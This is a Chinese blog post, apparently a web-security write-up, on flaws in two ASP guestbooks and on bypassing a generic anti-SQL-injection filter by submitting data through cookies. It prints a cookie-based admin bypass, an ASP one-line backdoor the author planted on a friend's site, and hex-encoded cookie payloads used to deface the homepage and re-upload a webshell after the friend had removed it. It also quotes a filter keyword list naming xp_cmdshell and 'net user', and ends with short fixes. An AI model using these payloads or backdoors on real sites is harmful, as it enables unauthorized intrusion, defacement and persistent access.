安全检测时发现的一些漏洞

 

 

 

前不久我一个开网吧的朋友做了个网站,我对他的网站进行了一次安全检测,发现了一些漏洞,包括两个留言本漏洞和绕过通用防注入的漏洞。写出来共享一下。

一、小秋个性留言本管理验证漏洞

我朋友网站上有两个留言本,一个是小秋个性留言本,一个是倾听留言本(倾听留言本的问题等一下再说)。小秋个性留言本在后台验证你是否是管理员时有漏洞,我们来看代码:
<%response.expires=0
if request.cookies("loginok")="" then
response.redirect "login.asp"
end if
%>
不用说了吧,只要cookies里的loginok值不是空你就是管理员了,而不在乎loginok到底是什么。就算loginok是千寂孤城也无所谓。所以在cookies里加上loginok=QJGC后再访问后台,你就是管理员了。并且后台的管理员回复没有过滤“<”和“>”,可以进行跨站攻击。

二、倾听留言本的漏洞

1、倾听留言本后台的管理员回复页面没有管理验证,直接在地址栏里访问/disp_msg.asp?id=62即可对id=62的帖子进行回复。注意,倾听留言本的贴子是默认从id=62开始记数的。

2、写留言时的指定头像路径可以绕过,在提交留言的表单中是这样选择头像的:
<select size="1" name="touxiang" onchange="document.images[’faceid’].src=options[selectedIndex].value;" style="width:122; height:19">
<option value="images/touxiang/1.gif" selected>
head-1</option>
<option value="images/touxiang/2.gif">head-2
</option>
<option value="images/touxiang/3.gif">head-3
</option>
<option value="images/touxiang/4.gif">head-4
</option>
……
</select>
选好头像后把数据写入数据库时对图片的路径和大小都没有再检查,所以我们可以用网站上的任何找得到的图片作为自己的头像。只需要在本地重新构造一个表单来提交就可以了。我们完全可以找个巨幅的图片来玩玩。

3、提交留言时的SQL injection漏洞。我们先来看看提交留言时的代码是怎么写的:
<% Sub add_msg() 
  nick_name=chhtml(request.form("nick_name"))
  oicq=chhtml(request.form("oicq"))
  pvc=request.form("pvc")
  userip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") 
  if userip=""then userip=Request.ServerVariables("REMOTE_ADDR") 
  touxiang=request.form("touxiang")
  z_touxiang=chhtml(request.form("z_touxiang"))
  t_h=chhtml(request.form("t_h"))
  t_w=chhtml(request.form("t_w"))
  e_mail=chhtml(request.form("e_mail"))
  web_p=chhtml(request.form("web_p"))
  title=chhtml(request.form("title"))
  font_color=request.form("font_color")
  msg_type=request.form("msg_type")
  contents=UBB(chhtml(request.form("contents")))
  exec="insert into msg_book(nick_name,oicq,pvc,ip_a,touxiang,z_touxiang,t_h,t_w,e_mail,web_p,title,font_color,msg_type,contents)values(’"+nick_name+"’,’"+oicq+"’,’"+pvc+"’,’"+userip+"’,’"+touxiang+"’,’"+z_touxiang+"’,’"+t_h+"’,’"++"’)"
  conn.execute exec
  conn.close
  set conn=nothing
  response.Redirect "index.asp" 
End Sub%>

看到了吗,其中pvc、touxiang、font_color、msg_type都没有经过任何过滤就放到了查询语句中。为什么倾听这么大胆呢?因为这几个东西依次是“来自”、“头像”、“字体颜色”和“公开或是悄悄话”。前三个都是下拉菜单,最后一个是单选按扭。作者认为这几个很安全,但是我们可以在本地重新构造表单提交呀。

我写这篇文章前并未通知官方(http://www.qtice.com/),官方同样存在此漏洞,请大家不要去搞破坏。

三、通用防注入原来形同虚设

这是个很大的漏洞哦。

1、漏洞的发现

事情是这样的。我通过一些方法在朋友的网站上搞到一个webshell,然后又在某个页面上加了一句话后门:<%if request("qjgc")<>"" then execute request("qjgc")%>。后来朋友删了我的webshell,我就想利用这个一句话后门再写一个webshell进去。结果一提交就弹了个框框出来说我提交的数据非法,ip已记录。当时就郁闷了,忘了朋友用了通用防注入程序,也就是说我向一句话木马里提交的数据不能出现被通用防注入过滤掉的字符,否则就非法了。
现在回想一下,其实通用防注入里过滤掉的字符并不多,只是针对sql注入的过滤,我们完全可以构造一个上传“上传小马”的代码提交过去,然后再利用那个“上传小马”来上传大马(上传小马里面没有include那些讨厌的防注入代码,可以提交任意数据)。但是我当时就完全没有这样想,像是短路了一样以为被过滤得什么数据都提交不了了。
明知道有一句话木马却用不了,我很不甘心。突然我想到如果我用cookies来提交qjgc的值会怎样呢?于是打开MyBrowser实验了一下。
打开MyBrowser,然后随便访问朋友网站上的一个欣赏flash的动态页面:/flash_show.asp?id=20。接着把地址栏中的?id=20删了,在cookies里面写上:; id=20,然后刷新一下,页面没有变化。把cookies里的id=20改成id=19再刷新一下,发现flash变了一个。
这说明把url里的提交数据写进cookies里确实可行。现在来最重要的一步:把cookies改成id=20’后刷新,并没有出现那个什么提交非法数据的提示!成功绕过了通用防注入程序!

2、漏洞的利用

既然如此,那我们就通过cookies把qjgc的值提交进去。这里要注意,通过cookies提交数据一定要转换成16进制,否则会出错的。我之前一直不成功就这个原因。
我们先来试试可不可以改他的主页。改主页的代码如下:
a="<script>window.alert(""千寂孤城又来啦!"")</script>":set fso=server.createObject("scripting.filesystemobject"):set file=fso.opentextfile("***index.asp",2,TRUE):file.write a :file.Close
随便打开一个16进制转换工具,把以上代码放进去转换,得到一串16进制代码:%61%3D%22%3C%73%63%72%69%70%74%3E……全部复制下来,然后打开MyBrowser,来到有一句话木马的页面,在cookies那里加上:; qjgc=%61%3D%22%3C%73%63%72%69%70%74%3E……刷新一下,没有出错,再到首页去看一看,首页已经成功被我们修改了。
接下来我又用此方法上传了一只asp马,webshell又回来了。

3、漏洞的原因

说实话到底为什么会成功我也不很清楚,我们先来看看通用防注入的代码:

<%

’--------定义部份------------------
Dim XH_Post,XH_Get,XH_In,XH_Inf,XH_Xh,XH_db,XH_dbstr
’自定义需要过滤的字串,用 "|" 分隔
XH_In = "’|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%

20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
’----------------------------------
%>

<%
XH_Inf = split(XH_In,"|")
’--------POST部份------------------

……针对表格提交数据的,我省略了。

’----------------------------------

’--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert(’爪子!搞破坏所?此路不通’);</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Next
Next
End If
’----------------------------------
%>

  我的理解是cookies里的数据不属于Request.QueryString但是属于request,而asp页面中处理客户端提交的数据时一般写法是id=request("id")一类的语句,通用防注入只是针对Request.QueryString进行的过滤,所以就绕过了检查。

4、漏洞的修补

其实只要勤快点就好了,除了每个页面都把防注入代码include进去之外最好还是自己动手改改代码吧。比如把id=request("id")一类的语句改成id=Request.QueryString("id")。或者是在id=request("id")后面加上if isnumeric(id)=false then response.redirect "/error.htm"之类的语句,因为这种过滤方法是针对id变量本身的,就无论如何绕不过去了。 

你可能感兴趣的:(SQL Server,XP,Flash,asp.net,asp)